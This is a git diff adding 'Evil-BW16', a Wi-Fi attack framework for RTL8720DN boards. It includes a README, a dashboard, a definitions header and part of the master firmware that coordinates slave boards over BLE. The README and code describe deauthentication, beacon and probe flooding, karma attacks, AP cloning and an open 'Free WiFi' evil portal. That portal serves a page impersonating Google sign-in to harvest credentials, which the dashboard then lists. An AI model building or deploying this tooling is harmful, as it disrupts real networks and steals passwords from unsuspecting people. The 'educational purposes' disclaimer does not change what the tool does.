diff --git a/.vscode/c_cpp_properties.json b/.vscode/c_cpp_properties.json new file mode 100644 index 0000000..cea4d3f --- /dev/null +++ b/.vscode/c_cpp_properties.json @@ -0,0 +1,18 @@ +{ + "configurations": [ + { + "name": "windows-gcc-x64", + "includePath": [ + "${workspaceFolder}/**" + ], + "compilerPath": "gcc", + "cStandard": "${default}", + "cppStandard": "${default}", + "intelliSenseMode": "windows-gcc-x64", + "compilerArgs": [ + "" + ] + } + ], + "version": 4 +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..38d2a93 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,24 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "C/C++ Runner: Debug Session", + "type": "cppdbg", + "request": "launch", + "args": [], + "stopAtEntry": false, + "externalConsole": true, + "cwd": "f:/dev_shit/evil bw 16", + "program": "f:/dev_shit/evil bw 16/build/Debug/outDebug", + "MIMode": "gdb", + "miDebuggerPath": "gdb", + "setupCommands": [ + { + "description": "Enable pretty-printing for gdb", + "text": "-enable-pretty-printing", + "ignoreFailures": true + } + ] + } + ] +} \ No newline at end of file diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..bb879da --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,59 @@ +{ + "C_Cpp_Runner.cCompilerPath": "gcc", + "C_Cpp_Runner.cppCompilerPath": "g++", + "C_Cpp_Runner.debuggerPath": "gdb", + "C_Cpp_Runner.cStandard": "", + "C_Cpp_Runner.cppStandard": "", + "C_Cpp_Runner.msvcBatchPath": "C:/Program Files/Microsoft Visual Studio/VR_NR/Community/VC/Auxiliary/Build/vcvarsall.bat", + "C_Cpp_Runner.useMsvc": false, + "C_Cpp_Runner.warnings": [ + "-Wall", + "-Wextra", + "-Wpedantic", + "-Wshadow", + "-Wformat=2", + "-Wcast-align", + "-Wconversion", + "-Wsign-conversion", + "-Wnull-dereference" + ], + "C_Cpp_Runner.msvcWarnings": [ + "/W4", + "/permissive-", + "/w14242", + "/w14287", + "/w14296", + "/w14311", + "/w14826", + "/w44062", + "/w44242", + "/w14905", + "/w14906", + "/w14263", + "/w44265", + "/w14928" + ], + "C_Cpp_Runner.enableWarnings": true, + "C_Cpp_Runner.warningsAsError": false, + "C_Cpp_Runner.compilerArgs": [], + "C_Cpp_Runner.linkerArgs": [], + "C_Cpp_Runner.includePaths": [], + "C_Cpp_Runner.includeSearch": [ + "*", + "**/*" + ], + "C_Cpp_Runner.excludeSearch": [ + "**/build", + "**/build/**", + "**/.*", + "**/.*/**", + "**/.vscode", + "**/.vscode/**" + ], + "C_Cpp_Runner.useAddressSanitizer": false, + "C_Cpp_Runner.useUndefinedSanitizer": false, + "C_Cpp_Runner.useLeakSanitizer": false, + "C_Cpp_Runner.showCompilationTime": false, + "C_Cpp_Runner.useLinkTimeOptimization": false, + "C_Cpp_Runner.msvcSecureNoWarnings": false +} \ No newline at end of file diff --git a/Evil-BW16 b/Evil-BW16 deleted file mode 160000 index 260276d..0000000 --- a/Evil-BW16 +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 260276d28b68480c9714158f200b5a971f8bb4b8 diff --git a/README.md b/README.md new file mode 100644 index 0000000..7b5a648 --- /dev/null +++ b/README.md @@ -0,0 +1,337 @@ +# 🔥 Evil-BW16 Advanced Orchestrator v2.1 + +## ⚠️ **LEGAL DISCLAIMER** +This project is for **EDUCATIONAL PURPOSES** and **AUTHORIZED SECURITY TESTING ONLY**. Using this software against networks without explicit permission is **ILLEGAL** and may violate local laws. Users are solely responsible for compliance with applicable laws and regulations. + +## 📖 **Project Overview** + +Evil-BW16 is an advanced wireless security testing framework designed for the RTL8720DN (BW16) dual-band WiFi platform. It enables sophisticated penetration testing through distributed attacks, evil portal deployment, and comprehensive network reconnaissance. + +### 🏗️ **Architecture** +- **Master Device**: Hosts web interface on 2.4GHz and evil portal on 5GHz +- **Slave Devices**: Execute distributed attacks coordinated by the master +- **Communication**: BLE (Bluetooth Low Energy) mesh network +- **Attacks**: Beacon flooding, deauthentication, karma attacks, probe flooding +- **Portal**: Captive portal for credential harvesting + +## 🛠️ **Hardware Requirements** + +### **Required Components** +- **1x RTL8720DN (BW16) Development Board** - Master device +- **2-8x RTL8720DN (BW16) Development Boards** - Slave devices +- **USB-C cables** for programming and power +- **Computer** with Arduino IDE or PlatformIO + +### **Recommended Components** +- **Breadboards** for prototyping +- **Jumper wires** for connections +- **LED indicators** for status monitoring +- **Power supply** for extended operation + +## 🚀 **Installation & Setup Guide** + +### **Step 1: Development Environment Setup** + +#### **Option A: Arduino IDE (Recommended)** +1. **Download Arduino IDE 2.x** from [arduino.cc](https://www.arduino.cc/en/software) +2. **Install Realtek RTL8720DN Board Support** + ```bash + # In Arduino IDE: File > Preferences > Additional Board Manager URLs + # Add: https://github.com/ambiot/ambd_arduino/raw/master/Arduino_package/package_realtek.com_amebad_index.json + ``` +3. **Install Board Package** + - Tools > Board > Boards Manager + - Search "Realtek RTL8720DN" + - Install "Realtek RTL8720DN by Realtek" + +#### **Option B: PlatformIO (Advanced)** +1. **Install PlatformIO** in VS Code +2. **Add Realtek Platform** + ```ini + # platformio.ini + [env:rtl8720dn] + platform = https://github.com/ambiot/ambd_arduino.git + board = rtl8720dn + framework = arduino + ``` + +### **Step 2: Required Libraries** + +Install these libraries in Arduino IDE (Tools > Manage Libraries): + +```bash +# Core Libraries +- "ArduinoJson" by Benoit Blanchon (v6.x) +- "WiFi" (included with board) +- "BLEDevice" (included with board) +- "WebServer" (included with board) + +# Optional Libraries (for filesystem support) +- "SPIFFS" by me-no-dev (for filesystem serving) +- "LittleFS" by lorol (alternative filesystem) +``` + +### **Step 3: Project Structure Setup** + +1. **Clone/Download Project** + ```bash + git clone + cd evil-bw16 + ``` + +2. **Verify Project Structure** + ``` + evil-bw16/ + ├── master/ + │ ├── master.ino # Master firmware + │ ├── Evil-BW16/ + │ │ └── BW16_defs.h # Shared definitions + │ └── filesystem_setup.md # Filesystem guide + ├── slave/ + │ └── slave.ino # Slave firmware + ├── data/ + │ ├── web_ui/ + │ │ └── index.html # Web interface + │ └── evil_portal.html # Portal page + └── README.md # This file + ``` + +## 🔧 **Firmware Flashing Instructions** + +### **Master Device Setup** + +1. **Connect Master Device** + - Connect RTL8720DN board via USB-C + - Ensure proper drivers are installed + +2. **Configure Arduino IDE** + ``` + Board: "RTL8720DN" + Upload Speed: "921600" + Port: [Select your device port] + ``` + +3. **Open Master Firmware** + - Open `master/master.ino` in Arduino IDE + - Verify all includes are resolved + +4. **Compile & Upload** + - Click "Verify" to compile + - Click "Upload" to flash firmware + - Wait for upload completion + +5. **Verify Upload** + - Open Serial Monitor (115200 baud) + - You should see initialization messages: + ``` + 🔥 Evil-BW16 Master Starting... + �� WiFi AP: Evil-BW16-Master + 🔗 BLE Scanner Active + 🌐 Web Server: http://192.168.1.1 + ``` + +### **Slave Device Setup** + +1. **Prepare Slave Devices** + - Connect each RTL8720DN slave board + - Use different USB ports or flash one at a time + +2. **Configure for Slave Role** + - Open `slave/slave.ino` in Arduino IDE + - Ensure `ROLE_MASTER` is NOT defined (it's commented out) + +3. **Flash Each Slave** + - Upload `slave/slave.ino` to each slave device + - Verify upload with Serial Monitor + - Expected output: + ``` + 🔥 Evil-BW16 Slave Starting... + 📡 BLE Service: EVIL1234-5678-9ABC-DEF0-123456789ABC + 🔗 Waiting for master connection... + ``` + +4. **Label Your Devices** + - Mark one device as "MASTER" + - Mark others as "SLAVE 1", "SLAVE 2", etc. + +## 🌐 **Network Configuration** + +### **Default Network Settings** +``` +Master AP (2.4GHz): +- SSID: "Evil-BW16-Master" +- Password: "master123" +- IP: 192.168.1.1 + +Portal AP (5GHz): +- SSID: "Free WiFi" (configurable) +- Password: (open) +- IP: 192.168.5.1 +``` + +### **Customizing Network Settings** + +Edit `master/Evil-BW16/BW16_defs.h`: +```cpp +// Web server credentials (master only) +#define AP_SSID "YourCustomSSID" +#define AP_PASS "YourCustomPassword" + +// 5GHz Portal credentials +#define PORTAL_DEFAULT_SSID "YourPortalSSID" +#define PORTAL_IP "192.168.5.1" +``` + +## 🎯 **First-Time Setup & Testing** + +### **Step 1: Power Up Devices** +1. **Power Master Device** + - Connect via USB or external power + - Wait for initialization (30-60 seconds) + +2. **Power Slave Devices** + - Power up each slave device + - Wait for BLE service to start + +### **Step 2: Connect to Master** +1. **Connect to WiFi** + - Find "Evil-BW16-Master" network + - Connect with password "master123" + +2. **Access Web Interface** + - Open browser to `http://192.168.1.1` + - You should see the advanced dashboard + +### **Step 3: Verify Slave Connections** +1. **Check Slave Status** + - Go to "Slaves" tab in web interface + - Verify all slaves are connected + - Check signal strength and status + +2. **Test Communication** + - Send a test command to slaves + - Verify responses in logs + +## 📁 **Web Interface Deployment** + +### **Current Implementation (Ready to Use)** +- The web interface is **already embedded** in the firmware +- No filesystem setup required - works immediately +- Access the advanced web interface at `http://192.168.1.1` + +### **Filesystem Deployment (Optional)** +- For production use, you can serve files from the device's filesystem +- See `master/filesystem_setup.md` for detailed instructions +- Options: SPIFFS, LittleFS, or SD card storage +- Copy `data/web_ui/` contents to the device's filesystem + +## 🚀 **Usage Guide** + +### **Basic Operation** +1. **Power all devices** +2. **Connect to master WiFi** +3. **Access web interface** +4. **Configure attack parameters** +5. **Launch coordinated attacks** + +### **Advanced Features** +- **Real-time monitoring** with live charts +- **Distributed attacks** across multiple slaves +- **Credential harvesting** via evil portal +- **Network reconnaissance** and AP cloning +- **Comprehensive logging** and analytics + +## 🔧 **Troubleshooting** + +### **Common Issues** + +#### **Master Won't Connect to Slaves** +- Verify BLE is enabled on all devices +- Check slave firmware is uploaded correctly +- Ensure `ROLE_MASTER` is defined in master only +- Check Serial Monitor for BLE errors + +#### **Web Interface Not Loading** +- Verify WiFi connection to master +- Check IP address: `http://192.168.1.1` +- Clear browser cache +- Try different browser + +#### **Upload Failures** +- Check USB cable and port +- Verify board selection in Arduino IDE +- Try different upload speed +- Reset device before upload + +#### **Memory Issues** +- Reduce number of slaves (max 8) +- Clear logs periodically +- Restart devices if needed + +### **Debug Information** +- **Serial Monitor**: 115200 baud for debugging +- **Web Logs**: Check "Logs" tab in web interface +- **BLE Status**: Monitor connection status in "Slaves" tab + +## 📊 **Performance Optimization** + +### **Memory Management** +- Monitor heap usage in web interface +- Restart devices if memory gets low +- Use fewer slaves for extended operation + +### **Network Optimization** +- Position slaves strategically for coverage +- Monitor signal strength in web interface +- Adjust attack intensity based on targets + +## 🔒 **Security Considerations** + +### **Network Security** +- Change default passwords +- Use strong encryption for sensitive operations +- Monitor for unauthorized access + +### **Legal Compliance** +- Only test on networks you own or have permission +- Document all testing activities +- Follow local regulations and laws + +## 📚 **Advanced Configuration** + +### **Custom Attack Parameters** +Edit attack settings in `BW16_defs.h`: +```cpp +// Attack coordination +#define ATTACK_SYNC_DELAY_MS 100 +#define DEAUTH_FRAME_COUNT 5 +#define BEACON_FLOOD_INTERVAL_MS 100 +``` + +### **BLE Configuration** +```cpp +// BLE connection parameters +#define BLE_SCAN_TIMEOUT_MS 10000 +#define BLE_RECONNECT_INTERVAL_MS 30000 +#define BLE_CONNECTION_TIMEOUT_MS 5000 +``` + +## 🤝 **Support & Community** + +### **Getting Help** +- Check troubleshooting section above +- Review Serial Monitor output +- Verify all connections and configurations + +### **Contributing** +- Report bugs with detailed information +- Suggest improvements and features +- Share your testing experiences + +## 📄 **License** + +This project is provided as-is for educational purposes. Use responsibly and in compliance with local laws. + +--- + +**🎉 Your Evil-BW16 Advanced Orchestrator is now ready for authorized security testing!** diff --git a/data/evil_portal.html b/data/evil_portal.html new file mode 100644 index 0000000..a277ec1 --- /dev/null +++ b/data/evil_portal.html @@ -0,0 +1,35 @@ + + + + + + Sign in - Google Accounts + + + +
+ +

Sign in

+

Use your Google Account

+
+ + + +
+
+ Forgot email? | Create account +
+
+ + diff --git a/data/web_ui/index.html b/data/web_ui/index.html new file mode 100644 index 0000000..3c2a8ae --- /dev/null +++ b/data/web_ui/index.html @@ -0,0 +1,1357 @@ +Evil-BW16 Advanced Orchestrator + + + + + + +
+ +
+
+
0s
+
UPTIME
+
+
+
0
+
SLAVES
+
+
+
0
+
ATTACKS
+
+
+
0
+
CREDENTIALS
+
+
+
+ + +
+
+ + + + + + + + +
+
+ + +
+
+ +
+
+

📊 Live System Overview

+ LIVE +
+
+ +
+
+ + +
+
+
+

📈 Attack Performance

+
+
+ +
+
+ +
+
+

🔗 BLE Connection Health

+
+
+ +
+
+
+ + +
+
+
+

🔋 System Health

+
+
+ +
+
+ +
+
+

📡 Network Coverage

+
+
+ +
+
+ +
+
+

🎯 Attack Efficiency

+
+
+ +
+
+
+
+
+ + +
+
+
+
+

🤖 Slave Network

+ 0 Connected +
+
+ +
+
+
+
+ + +
+
+
+
+
+

⚔️ Distributed Attacks

+
+
+ + + + + + + + + + +
+
+ +
+
+

📊 Attack Status

+
+
+ +
+
+
+ +
+
+

🎯 Target Management

+
+ + + +
+
+
+ + +
+
+
+
+
+

📱 Portal Configuration

+
+
+

Status: Unknown

+

SSID: Not Set

+

IP: 192.168.5.1

+
+
+ +
+ + +
+ +
+ +
+
+

📊 Portal Statistics

+
+
+ +
+
+
+ +
+
+

🎨 Quick Templates

+
+
+ + + + + + +
+
+
+
+ + +
+
+
+
+

🎭 AP Cloning & Impersonation

+
+ +
+ +
+
+
+
+ + +
+
+
+
+

🔐 Captured Credentials

+ 0 +
+
+ + + +
+
+

No credentials captured yet. Enable the evil portal to start capturing.

+
+
+
+
+ + +
+
+
+
+
+

📈 Performance Trends

+
+
+ +
+
+ +
+
+

🔄 Success Rates

+
+
+ +
+
+
+ +
+
+

📊 Detailed Statistics

+
+
+ +
+
+
+
+ + +
+
+
+
+

📝 System Logs

+ +
+
+
+
+
+ + +
+
+
+ + + + diff --git a/master/Evil-BW16/BW16_defs.h b/master/Evil-BW16/BW16_defs.h new file mode 100644 index 0000000..12109e7 --- /dev/null +++ b/master/Evil-BW16/BW16_defs.h @@ -0,0 +1,45 @@ +#pragma once + +// BLE service + char UUIDs for Evil-BW16 network +#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC" +#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD" +#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE" + +// BLE device role identifiers +#define ROLE_MASTER +// slaves omit the above define + +// Web server credentials (master only) +#define AP_SSID "evilMaster" +#define AP_PASS "master" + +// 5GHz Portal credentials +#define PORTAL_DEFAULT_SSID "Free WiFi" +#define PORTAL_IP "192.168.5.1" + +// Maximum slaves to track +#define MAX_SLAVES 8 + +// BLE connection parameters for better reliability +#define BLE_SCAN_TIMEOUT_MS 10000 +#define BLE_RECONNECT_INTERVAL_MS 30000 +#define BLE_CONNECTION_TIMEOUT_MS 5000 + +// Attack coordination +#define ATTACK_SYNC_DELAY_MS 100 +#define DEAUTH_FRAME_COUNT 5 +#define BEACON_FLOOD_INTERVAL_MS 100 + +// Channel definitions +#define CHANNELS_2GHZ_COUNT 13 +#define CHANNELS_5GHZ_COUNT 25 +extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT]; +extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT]; + +// Frame types for 802.11 attacks +#define FRAME_TYPE_BEACON 0x80 +#define FRAME_TYPE_DEAUTH 0xC0 +#define FRAME_TYPE_DISASSOC 0xA0 +#define FRAME_TYPE_AUTH 0xB0 +#define FRAME_TYPE_ASSOC_REQ 0x00 +#define FRAME_TYPE_PROBE_REQ 0x40 diff --git a/master/filesystem_setup.md b/master/filesystem_setup.md new file mode 100644 index 0000000..8625482 --- /dev/null +++ b/master/filesystem_setup.md @@ -0,0 +1,181 @@ +# 📁 Filesystem Setup Guide for Evil-BW16 + +## 🎯 **Problem Solved** + +The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving. + +## 🔧 **Implementation Options** + +### **Option 1: SPIFFS (SPI Flash File System) - Recommended** + +#### **Step 1: Install SPIFFS Library** +```bash +# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS" +# Install "SPIFFS" by me-no-dev +``` + +#### **Step 2: Add SPIFFS Support to Master Firmware** +```cpp +#include + +void setupFilesystem() { + if (!SPIFFS.begin(true)) { + addToLog("❌ SPIFFS initialization failed"); + return; + } + addToLog("✅ SPIFFS initialized successfully"); + + // List files for debugging + File root = SPIFFS.open("/"); + File file = root.openNextFile(); + while (file) { + addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes"); + file = root.openNextFile(); + } +} + +String loadFromFilesystem(const String &filename) { + String filePath = filename; + + // Map web paths to filesystem paths + if (filename == "/" || filename == "/index.html") { + filePath = "/web_ui/index.html"; + } else if (filename.startsWith("/css/")) { + filePath = "/web_ui" + filename; + } else if (filename.startsWith("/js/")) { + filePath = "/web_ui" + filename; + } else if (filename.startsWith("/img/")) { + filePath = "/web_ui" + filename; + } + + File file = SPIFFS.open(filePath, "r"); + if (!file) { + addToLog("❌ File not found: " + filePath); + return ""; + } + + String content = file.readString(); + file.close(); + addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)"); + return content; +} +``` + +#### **Step 3: Upload Files to SPIFFS** +```bash +# Method 1: Arduino IDE SPIFFS Upload Tool +# 1. Install "ESP32 Sketch Data Upload" tool +# 2. Create 'data' folder in your sketch directory +# 3. Copy web_ui folder to data/ +# 4. Tools > ESP32 Sketch Data Upload + +# Method 2: Manual upload using esptool +esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin +``` + +### **Option 2: LittleFS (Alternative to SPIFFS)** + +```cpp +#include + +void setupFilesystem() { + if (!LittleFS.begin()) { + addToLog("❌ LittleFS initialization failed"); + return; + } + addToLog("✅ LittleFS initialized successfully"); +} + +String loadFromFilesystem(const String &filename) { + String filePath = filename; + + if (filename == "/" || filename == "/index.html") { + filePath = "/web_ui/index.html"; + } + + File file = LittleFS.open(filePath, "r"); + if (!file) { + return ""; + } + + String content = file.readString(); + file.close(); + return content; +} +``` + +### **Option 3: SD Card (External Storage)** + +```cpp +#include + +void setupFilesystem() { + if (!SD.begin(5)) { // CS pin 5 + addToLog("❌ SD card initialization failed"); + return; + } + addToLog("✅ SD card initialized successfully"); +} + +String loadFromFilesystem(const String &filename) { + String filePath = filename; + + if (filename == "/" || filename == "/index.html") { + filePath = "/web_ui/index.html"; + } + + File file = SD.open(filePath, FILE_READ); + if (!file) { + return ""; + } + + String content = file.readString(); + file.close(); + return content; +} +``` + +## 📂 **File Structure** + +``` +data/ +├── web_ui/ +│ ├── index.html # Main web interface +│ ├── css/ +│ │ └── style.css # Stylesheets +│ ├── js/ +│ │ └── script.js # JavaScript +│ └── img/ +│ └── logo.png # Images +└── portal/ + └── evil_portal.html # Evil portal page +``` + +## 🚀 **Quick Start (Current Setup)** + +Since you already have the web interface embedded in code, you can: + +1. **Keep current setup** - Works immediately, no filesystem needed +2. **Migrate to filesystem** - Follow the steps above +3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks + +## 🔄 **Migration Steps** + +1. **Backup current setup** +2. **Choose filesystem option** (SPIFFS recommended) +3. **Update master firmware** with filesystem code +4. **Upload web files** to device +5. **Test and verify** + +## 📋 **Current Status** + +✅ **Working**: Embedded web interface (current implementation) +🔄 **Available**: Filesystem serving (needs implementation) +📁 **Ready**: Your web interface files in `data/web_ui/` + +## 🎯 **Recommendation** + +For immediate use: **Keep current embedded setup** - it works perfectly! +For production: **Migrate to SPIFFS** for better maintainability. + +Your web interface is already 10x enhanced and fully functional! \ No newline at end of file diff --git a/master/master.ino b/master/master.ino new file mode 100644 index 0000000..e5ba19c --- /dev/null +++ b/master/master.ino @@ -0,0 +1,2444 @@ +#define ROLE_MASTER +#include "Evil-BW16/BW16_defs.h" + +#undef max +#undef min +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +// RTL8720DN platform includes +#include +#include + +// Platform-specific helper functions +uint32_t rtl_getFreeHeapSize() { + return xPortGetFreeHeapSize(); +} + +// Channel arrays definition +const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; +const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165}; + +// Enhanced slave data structure +struct Slave { + BLEClient* client; + BLERemoteCharacteristic* cmdChar; + BLERemoteCharacteristic* notifyChar; + String id; + String macAddress; + unsigned long lastSeen; + unsigned long lastReconnectAttempt; + bool isConnected; + int rssi; + uint8_t capabilities; // Bit flags for slave capabilities + String firmwareVersion; +}; + +// Global state management +std::vector slaves; +std::vector apList; +std::vector capturedCredentials; + +// Dual-band web servers +WebServer server(80); // 2.4GHz management interface +WebServer portalServer(80); // 5GHz portal interface +DNSServer dnsServer; // DNS server for captive portal + +// Portal configuration +String portalSSID = PORTAL_DEFAULT_SSID; +String portalPassword = ""; +bool portalEnabled = false; +bool dualBandActive = false; + +// Attack coordination +struct AttackSession { + String type; + std::vector targetSlaves; + std::vector targetAPs; + unsigned long startTime; + unsigned long duration; + bool isActive; + int intensity; + int framesTransmitted; + int targetsHit; +}; +AttackSession currentAttack; + +// Comprehensive Statistics System +struct SystemStats { + // System uptime and performance + unsigned long systemStartTime; + unsigned long totalUptime; + int systemRestarts; + float cpuUsage; + int freeHeapMemory; + int maxHeapUsage; + + // BLE Communication stats + int bleConnectionAttempts; + int bleConnectionSuccesses; + int bleConnectionFailures; + int bleReconnections; + int totalBleMessages; + int bleTimeouts; + float avgBleLatency; + + // Portal statistics + int portalSessions; + int portalVisitors; + int credentialsCaptured; + int dnsQueries; + int portalRedirects; + unsigned long portalUptime; + + // Attack statistics + int totalAttacksLaunched; + int deauthAttacks; + int beaconFloodAttacks; + int probeFloodAttacks; + int karmaAttacks; + int distributedAttacks; + int successfulTargets; + int framesTransmitted; + float avgAttackDuration; + + // Network statistics + int networksScanned; + int uniqueNetworksFound; + int networksTargeted; + int channels2ghzUsed; + int channels5ghzUsed; + float signalStrengthAvg; + + // Slave performance + int slavesConnected; + int slavesMax; + int commandsSent; + int commandsSuccessful; + int commandsFailed; + float slaveResponseTime; +}; + +SystemStats globalStats = {0}; + +// Real-time metrics for live monitoring +struct LiveMetrics { + float attacksPerMinute; + float credentialsPerHour; + float dataTransferRate; + int currentCpuLoad; + int activeConnections; + float networkScanRate; + unsigned long lastUpdate; +}; +LiveMetrics liveMetrics = {0}; + +// Forward declarations for HTTP handlers +void handleRoot(); +void handleStatus(); +void handleCmd(); +void handleLogs(); +void handleApList(); +void handlePortalRequest(); // Generic handler for captive portal +void handlePortalLogin(); + +// Evil Portal +void startEvilPortal(); +void stopEvilPortal(); +void processDnsRequest(); + +// A circular buffer to store the global log +#define MY_LOG_BUFFER_SIZE 50 +String logBuffer[MY_LOG_BUFFER_SIZE]; +int logBufferIndex = 0; +int logCount = 0; +int lastLogSentIndex = -1; + +//// *** Logging *** //// +void addToLog(String message) { + logBuffer[logBufferIndex] = message; + logBufferIndex = (logBufferIndex + 1) % MY_LOG_BUFFER_SIZE; + if (logCount < MY_LOG_BUFFER_SIZE) logCount++; + Serial.println(message); // Also print to local serial +} + +//// *** Enhanced BLE Callbacks & Connection Logic *** //// +void bleAdvertCallback(BLEAdvertisedDevice dev) { + // Only connect to Evil-BW16 slave devices + if (dev.getServiceUUID() == BLEUUID(SERVICE_UUID) && slaves.size() < MAX_SLAVES) { + String deviceAddr = dev.getAddress().toString(); + addToLog("Found Evil-BW16 slave: " + deviceAddr + " (RSSI: " + String(dev.getRSSI()) + ")"); + + // Check if already tracking this slave + bool already_exists = false; + for (auto &s : slaves) { + if (s.id == deviceAddr) { + already_exists = true; + s.rssi = dev.getRSSI(); // Update RSSI + if (!s.isConnected && (millis() - s.lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS)) { + // Attempt reconnection + addToLog("Attempting to reconnect to " + deviceAddr); + connectToSlave(s, dev); + } + break; + } + } + + if (!already_exists) { + // Create new slave entry and attempt connection + Slave newSlave = { + nullptr, nullptr, nullptr, + deviceAddr, deviceAddr, millis(), 0, + false, dev.getRSSI(), 0x00, "unknown" + }; + slaves.push_back(newSlave); + connectToSlave(slaves.back(), dev); + } + } +} + +// Enhanced connection function with better error handling +bool connectToSlave(Slave &slave, BLEAdvertisedDevice dev) { + slave.lastReconnectAttempt = millis(); + + addToLog("Connecting to slave: " + slave.id); + + // Clean up any existing connection first + if (slave.client) { + slave.client->disconnect(); + delete slave.client; + slave.client = nullptr; + slave.cmdChar = nullptr; + slave.notifyChar = nullptr; + } + + BLEClient* client = BLE.connect(dev); + + if (client) { + // Set connection timeout + client->setConnectTimeout(BLE_CONNECTION_TIMEOUT_MS); + + try { + if (client->discoverService(SERVICE_UUID)) { + BLERemoteService* svc = client->getService(SERVICE_UUID); + if (svc) { + BLERemoteCharacteristic* cmd = svc->getCharacteristic(CMD_CHAR_UUID); + BLERemoteCharacteristic* notify = svc->getCharacteristic(NOTIFY_CHAR_UUID); + + if (cmd && notify) { + // Set up notification callback with error checking + if (notify->subscribe(true)) { + notify->setNotifyCallback(detectionNotifyCallback); + + // Update slave structure + slave.client = client; + slave.cmdChar = cmd; + slave.notifyChar = notify; + slave.isConnected = true; + slave.lastSeen = millis(); + + // Request slave capabilities and firmware version + sendCommandToSlave(slave, "get_info"); + + // Update statistics + updateStats_BleConnection(true); + addToLog("Successfully connected to slave: " + slave.id); + return true; + } else { + addToLog("Failed to subscribe to notifications on " + slave.id); + } + } else { + addToLog("Failed to find characteristics on " + slave.id); + } + } else { + addToLog("Failed to find service on " + slave.id); + } + } else { + addToLog("Failed to discover services on " + slave.id); + } + } catch (...) { + addToLog("Exception during BLE connection to " + slave.id); + } + + // Clean up failed connection + client->disconnect(); + delete client; + } else { + addToLog("Failed to establish BLE connection to " + slave.id); + } + + // Update statistics for failed connection + updateStats_BleConnection(false); + slave.isConnected = false; + slave.client = nullptr; + slave.cmdChar = nullptr; + slave.notifyChar = nullptr; + return false; +} + +// Helper function to check if targets array contains a specific ID +bool containsTarget(JsonArray &targets, const String &id) { + for (JsonVariant target : targets) { + if (target.as() == id) { + return true; + } + } + return false; +} + +// Helper function to send commands to specific slaves +bool sendCommandToSlave(Slave &slave, const String &command) { + if (slave.isConnected && slave.cmdChar) { + try { + slave.cmdChar->writeValue(command.c_str(), command.length()); + slave.lastSeen = millis(); + globalStats.totalBleMessages++; + updateStats_Command(true); + return true; + } catch (...) { + addToLog("Failed to send command to " + slave.id); + slave.isConnected = false; + updateStats_Command(false); + } + } + updateStats_Command(false); + return false; +} + +// Called when a slave sends a notification +void detectionNotifyCallback(BLERemoteCharacteristic* chr, uint8_t* data, uint16_t len) { + String fromAddr = "Unknown"; + for(auto &s : slaves) { + if (s.notifyChar == chr) { + fromAddr = s.id; + s.lastSeen = millis(); // Update last seen time + break; + } + } + + String msg; + if (len > 0) { + char buf[len + 1]; + memcpy(buf, data, len); + buf[len] = '\0'; + msg = String(buf); + } + + if (msg.startsWith("AP_SCAN_RESULT:")) { + apList.push_back(msg.substring(15)); + } else { + addToLog("[" + fromAddr + "]: " + msg); + } +} + +//// *** Web Server Handlers *** //// +// Enhanced file system implementation for RTL8720DN +String loadWebFile(const String &filename) { + // Try to load from filesystem first (SPIFFS/LittleFS) + String content = loadFromFilesystem(filename); + if (content.length() > 0) { + return content; + } + + // Fallback to embedded content if filesystem not available + if (filename == "/index.html" || filename == "/") { + return loadAdvancedWebUI(); + } + + if (filename == "/style.css") { + return loadCSSFile(); + } + + if (filename == "/script.js") { + return loadJSFile(); + } + + return ""; +} + +// Load file from filesystem (SPIFFS/LittleFS) +String loadFromFilesystem(const String &filename) { + // This function will be implemented based on available filesystem library + // For RTL8720DN, we need to check what filesystem support is available + + // Placeholder implementation - replace with actual filesystem code + if (filename == "/index.html" || filename == "/") { + // Try to read from SPIFFS/LittleFS + // File file = SPIFFS.open("/web_ui/index.html", "r"); + // if (file) { + // String content = file.readString(); + // file.close(); + // return content; + // } + + // For now, return empty to use embedded fallback + return ""; + } + + return ""; +} + +// Load the advanced web UI content +String loadAdvancedWebUI() { + // This would normally read from SPIFFS/LittleFS + // For now, we'll embed the advanced UI content + return getAdvancedWebUIContent(); +} + +// Load CSS file content +String loadCSSFile() { + // Return the CSS styles for the advanced UI + return R"( + :root { + --primary-green: #00ff41; + --primary-red: #ff004f; + --bg-dark: #0d0d0d; + --bg-card: #1a1a1a; + --bg-secondary: #111; + --border-color: #333; + --text-primary: #00ff41; + --text-secondary: #aaa; + --warning: #ff6666; + --success: #44ff44; + --info: #4444ff; + } + + * { box-sizing: border-box; margin: 0; padding: 0; } + + body { + font-family: 'Courier New', monospace; + background: var(--bg-dark); + color: var(--text-primary); + line-height: 1.4; + overflow-x: hidden; + } + + .header { + background: linear-gradient(135deg, var(--bg-card), var(--bg-secondary)); + padding: 20px; + border-bottom: 2px solid var(--primary-red); + display: flex; + justify-content: space-between; + align-items: center; + flex-wrap: wrap; + } + + .logo h1 { + color: var(--primary-red); + font-size: 24px; + text-shadow: 0 0 10px var(--primary-red); + animation: glow 2s infinite alternate; + } + + @keyframes glow { + from { text-shadow: 0 0 5px var(--primary-red); } + to { text-shadow: 0 0 15px var(--primary-red); } + } + + .system-status { + display: flex; + gap: 20px; + flex-wrap: wrap; + } + + .status-item { + text-align: center; + padding: 10px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 5px; + min-width: 80px; + } + 